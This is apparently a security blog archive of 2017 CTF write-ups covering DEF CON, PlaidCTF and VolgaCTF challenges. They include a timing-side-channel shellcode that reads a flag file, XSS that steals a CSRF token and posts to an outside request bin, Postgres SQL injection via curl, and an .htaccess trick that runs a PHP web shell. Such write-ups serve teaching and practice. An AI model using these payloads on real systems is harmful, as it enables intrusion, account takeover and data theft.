Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute

This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:

Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.

Enumerating all the possible syscalls we can use for our shellcode, we get this list:


Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.

First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

jmp L2


Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:

You can also find all the challenge files here -

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa


    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

Monday, April 24, 2017

PlaidCTF 2017 - no_mo_flo (125)

On this challenge, we're given a binary to reverse called 'no_flo'. Based on your input you get one of two results:

# Failure:
You aint goin with the flow....

# Success:
Good flow!!

When you get the flag it will print 'Good flow!!' otherwise it will print the failure case.

The only reversing done on this was jumping into Binary Ninja for a few minutes and continuing after identifying the type of challenge.  The most important part was to find the length of the input required (0x20 or 32 bytes):

There's a perfect tool for this job that I've been meaning to use for a while now. This tool was:  This is ideal if your challenge binary has a success / failure path and there's one target key to obtain.

There's an excellent article on how to use and automate Pin over on ShellStorm -

Also used CGPwn for this CTF which has been very useful, packed with things like angr, Pin, r2, pwntools, etc. (too many good things to name) -

If this is your first time using Pin, you'll have to compile the required shared object files and include them at the top of pintool.

After everything's all setup, we can start cracking!

Running the help on pintool, we can see the available options:

usage: [-h] [-e] [-l LEN] [-c NUMBER] [-b CHARACTER] [-a ARCH]
                  [-i INITPASS] [-s SIMBOL] [-d EXPRESSION]

positional arguments:
  Filename       Program for playing with Pin Tool

optional arguments:
  -h, --help     show this help message and exit
  -e             Study the password length, for example -e -l 40, with 40
  -l LEN         Length of password (Default: 10 )
  -c NUMBER      Charset definition for brute force (1-Lowercase, 2-Uppecase,
                 3-Numbers, 4-Hexadecimal, 5-Punctuation, 6-All)
  -b CHARACTER   Add characters for the charset, example -b _-
  -a ARCH        Program architecture 32 or 64 bits, -b 32 or -b 64
  -i INITPASS    Inicial password characters, example -i CTF{
  -s SIMBOL      Simbol for complete all password (Default: _ )
  -d EXPRESSION  Difference between instructions that are successful or not
                 (Default: != 0, example -d '== -12', -d '=> 900', -d '<= 17'
                 or -d '!= 32')

Here's a simple command to start with for this binary:

$ python ~/tools/pintool/ -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{' -d '<= -1' ./no_flo

We will start to get output that looks like this:

PCTF{nX_________________________ = 98025 difference 0 instructions
PCTF{nY_________________________ = 98025 difference 0 instructions
PCTF{nZ_________________________ = 98025 difference 0 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference 0 instructions
PCTF{n0!________________________ = 98083 difference 61 instructions
PCTF{n0"________________________ = 98083 difference 61 instructions
PCTF{n0#________________________ = 98083 difference 61 instructions

After a while this will start to fail, I haven't figured out exactly why yet (maybe someone can answer this in the comments) -- but underscores seem to be an issue. This has happened on a couple binaries so far.

After we have reached the end of the first word, we can adjust the 'INITPASS' attribute to include an underscore, next example command will look like this:

$ python ~/tools/pintool/ -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{n0_' -d '<= -1' ./no_flo

We continue this way until we've reached the end, and we get the flag!


PlaidCTF 2017 - zipper (50)

In this challenge we're given a corrupted zip we must repair.


Something doesn't seem quite right with this zip file. 

Can you fix it and get the flag?

We can see the corruption by attempting to unzip the file:

$ unzip
warning:  filename too long--truncating.
[  ]
:  bad extra field length (central)

To inspect this further we can use zipdetails:

$ zipdetails

0000 LOCAL HEADER #1       04034B50
0004 Extract Zip Spec      14 '2.0'
0005 Extract OS            00 'MS-DOS'
0006 General Purpose Flag  0002
     [Bits 1-2]            2 'Fast Compression'
0008 Compression Method    0008 'Deflated'
000A Last Mod Time         4A9299FC 'Tue Apr 18 19:15:56 2017'
000E CRC                   532EA93E
0012 Compressed Length     00000046
0016 Uncompressed Length   000000F6
001A Filename Length       2329
001C Extra Length          001C
Truncated file (got 206, wanted 9001):

This reflects a similar message showing the "Filename Length" is very large and there's some truncation because of the calculated size. The "wanted" value of 9001 equals the same value seen in "Filename Length" in hex 0x2329.

Next let's create a normal zip file to compare the binary structure.

$ echo '1234' > abc && zip abc
  adding: abc (stored 0%)

$ xxd
00000000: 504b 0304 0a00 0000 0000 ad79 984a 2117  PK.........y.J!.
00000010: 937d 0500 0000 0500 0000 0300 1c00 6162  .}............ab
00000020: 6355 5409 0003 8678 fe58 8078 fe58 7578  cUT....x.X.x.Xux
00000030: 0b00 0104 f501 0000 0414 0000 0031 3233  .............123
00000040: 340a 504b 0102 1e03 0a00 0000 0000 ad79  4.PK...........y
00000050: 984a 2117 937d 0500 0000 0500 0000 0300  .J!..}..........
00000060: 1800 0000 0000 0100 0000 a481 0000 0000  ................
00000070: 6162 6355 5405 0003 8678 fe58 7578 0b00  abcUT....x.Xux..
00000080: 0104 f501 0000 0414 0000 0050 4b05 0600  ...........PK...
00000090: 0000 0001 0001 0049 0000 0042 0000 0000  .......I...B....
000000a0: 00                                       .

$ xxd
00000000: 504b 0304 1400 0200 0800 fc99 924a 3ea9  PK...........J>.
00000010: 2e53 4600 0000 f600 0000 2923 1c00 0000  .SF.......)#....
00000020: 0000 0000 0000 5554 0900 035b c8f6 585b  ......UT...[..X[
00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803  ..Xux...........
00000040: 0000 5350 2004 b814 082b f128 adaa 4acc  ..SP ....+.(..J.
00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829  .Q../U.H,KUHN,()
00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70  -JMQ(.HUH.IL...p
00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac  .q.N3(J.+6L...L.
00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400  .%.&.(..PK......
00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000  .......J>..SF...
000000a0: f600 0000 2923 1800 0000 0000 0100 0000  ....)#..........
000000b0: b481 0000 0000 0000 0000 0000 0000 5554  ..............UT
000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300  ...[..Xux.......
000000d0: 0004 e803 0000 504b 0506 0000 0000 0100  ......PK........
000000e0: 0100 4e00 0000 8800 0000 0000            ..N.........

First we can see the name show up twice within the first hex dump of
We may be interested to find the same part in since the first corruption seems to be a filename issue.

Highlighting the header / footer patterns found within the dumps above, we can see most likely has an 8 byte filename:

# first chunk:    : (1c00) 6162 63(55 54..) : (1c00) 0000 0000 0000 0000 (5554 09)

# second chunk:    : (0000 0000) 6162 63(55 54..) : (0000 0000) 0000 0000 0000 0000 (5554)

If we patch both size values to 8 and set the name to something valid, we should have something a little better.

So we edit the values accordingly:

Size_1: 29 23 => 08 00
Size_2: 29 23 => 08 00
Name_1: (1C 00) 00 00 00 00 00 00 00 00 (55 54)     => (1C 00) 41 41 41 41 42 42 42 42 (55 54)
Name_2: (00 00 00 00) 00 00 00 00 00 00 00 00 55 54 => (00 00 00 00) 41 41 41 41 42 42 42 42 (55 54)

Now if we look at this again using 7z we can see the file!

$ 7z l

Scanning the drive for archives:
1 file, 236 bytes (1 KiB)

Listing archive:

Path =
Type = zip
Physical Size = 236

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2017-04-18 19:15:55 .....          246           70  AAAABBBB
------------------- ----- ------------ ------------  ------------------------
2017-04-18 19:15:55                246           70  1 files

$ 7z e

Scanning the drive for archives:
1 file, 236 bytes (1 KiB)

Extracting archive:
Path =
Type = zip
Physical Size = 236

Everything is Ok

Size:       246
Compressed: 236

Then catting the output, we get:


Huzzah, you have captured the flag:

Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)

Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information


Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

Cannot GET /unknown-page

Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!


It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...

Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.

Home doesn't have much on it, so the next page to look at is News.

On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)

They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

<button onclick="loadNews()" class="btn btn-primary">Read private news</button>

function loadNews() {
    var data = {
    'resultFormat': 'text'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).

When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub:

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error -

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.

The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src=""></script>
  $.post("", "SUCCESS!")

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: ''. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) -

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin -

<script src=""></script>
var SERVER = '';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');

Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);

And we have the flag!


Sunday, March 26, 2017

VolgaCTF 2017 Quals - VC (50)

This was a very quick one, instantly saw this coming with the low point score, two images and description:

There are files A.png and B.png. But where's the flag?

Primarily posting this to show off a feature in StegSolve.

After loading StegSolve, open up the first png, (File > Open > [choose A.png]).
Next go to Analyse > Image Combiner, and select B.png.
The first option XOR should instantly solve this challenge (for other algorithms, use the left and right arrow to preview them).

You may then save the result for later use : )

VolgaCTF 2017 Quals - Bloody Feedback (100)

Disclaimer: During this challenge, I binge watched all of Black Books. This explains the memes below.

Starting out we're presented with a feedback form to submit some data (name, email, message).

There was also an input field at the top right looking like a search box.  Immediately tried putting a tick mark there to see if an error would be reflected:

This will send us to
Immediately inferring this is a perl application looking at the file extension noted in the error:

After playing around with the code looking for command-injection it turns out the application would accept any 32 byte string within the character range [A-Za-z0-9].  Looks like we couldn't get too far with this.

Valid URL ex.:

The next area to check was the initial feedback form.  Email had to be turned on, which seemed to be a good field to play with.

This seemed to have a very simple front-end validation setup for email, where type="email" in the markup.

Any feedback submitted is displayed in the "Top Messages" section, except the email field.  This helped when testing for XSS / CSRF, SQLi, etc.  But "Top Messages" did not seem to be reflecting any errors or execution.

Next we try an invalid email, maybe a quote mark to check for SQLi:

Sooooo, looks like SQLi, right?

If we look up DBD::Pg::db, we find the reference
Also from looking at it, one could infer this is a Postgres db.

Let's try a few different types of injections until we get back to a non-error state!

First to get this into a scriptable state, we'll dump the cURL command from Chrome's Developer Tools.  In the network tab, go to the submission request, right click > Copy > Copy as cURL.

After pasting this on the command-line, hitting ctrl+x+e we can open in $EDITOR (currently set to VIM for this session).  In VIM we can use :%s/-H/-H \\\r/g to clean up the lines of the request.  Now we can go ahead and delete most of the headers which won't be used in this challenge.  This ends up turning into a one-liner, but for other challenges this may be different.

$ curl '' --data "name=x&message=x&email='" 

This will dump the page contents and we can grep for any errors that get reflected back:

$ curl '' --data "name=n&message=m&email=',version())-- - " | grep -i error -A6

This will dump:

ERROR: DBD::Pg::db do failed: ERROR:  value too long for type character varying(30) at line 29.

It looks like version() returns a string that's too long, so we can cut it using substr().

$ curl '' --data "name=n&message=m&email=', substr(version(), 0, 30))-- - "
<p><h3>Check status</h3><a href='/check/?code=Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI'>Gc5n5Z2DcOCOAul3g2yRSaLU9uSpHncI</a></p>

Now let's do something a little more interesting....

To get the table names we can query pg_catalog.pg_tables for tablename, this will return multiple rows, if we set a limit and offset, we can enumerate all values.

url '' --data "name=n&message=m&email=', (SELECT tablename FROM pg_catalog.pg_tables limit 1 offset 1)) -- - "

So we've got the table name, now we need to find any interesting column names, we can do that by looking at column_name in information_schema.columns:

curl '' --data "name=n&message=m&email=', (select column_name from information_schema.columns limit 1 offset 6 )) -- - "

Now when we combine those two together:

curl '' --data "name=n&message=m&email=', (select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4 )) -- - "

VolgaCTF 2017 Quals - SharePoint (200)

This CTF was a lot of fun, we ended up solving six challenges and landing in the top 100 which didn't seem too bad for 1-2 of us playing. Also learned about a few topics in the process.

SharePoint was a web challenge which starts out with a login form. Most of the web challenges consisted of a similar authentication method. Simply login with any creds you'd like to use (restricted to regular expression with length > 7), and it'll register / sign-in to that user account, probably setup this way for simplicity.

After logging in, we're presented with a web application that allows you to upload and share files with other users.

The first thought on a web application like this is: File Upload -> LFI. It turns out this was exactly what it was, with a small twist.

Uploading the obvious example, a php web-shell caused an error to be displayed.  It probably filters based on filename extension, such as php, html, etc.  Uploading the web shell as a png seemed to work, but the server wouldn't execute php in this file by default.

Looking at the share functionality we could see that it just performs a php copy() operation from one user's files directory to another.  It also seemed as if we could traverse up the directory structure to pull files such as ../../index.php, ../../.htaccess, etc.  Unfortunately during the challenge we didn't find an easy way to read these files, so this wasn't very helpful.

What we can do is setup our own .htaccess file since we have control over a full directory and the names / content of the files uploaded do not change. We may also want to see the directory contents and add our own executable php format to the server to get around the file extension restriction. To do this we can add the following rules to a small .htaccess file and upload it to the server:

Options +Indexes
AddHandler application/x-httpd-php .vv
AddType application/x-httpd-php .vv
AddType application/x-httpd-php5 .vv

We'll also upload a very simple web shell to the server to get code exection:

<pre><?php echo system($_GET['c']); ?></pre>

Visiting the link to the shell and passing in a command seems to work:

Linux cs76582 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Now to look for something more interesting, the flag:|+grep+flag


There were many files listed, a hint mentioned the flag was in an 'optimal' location, referencing /opt.
Checking out this file (/opt/flag.txt), we get:


Loved this challenge, and learned a little about Apache rules in the process!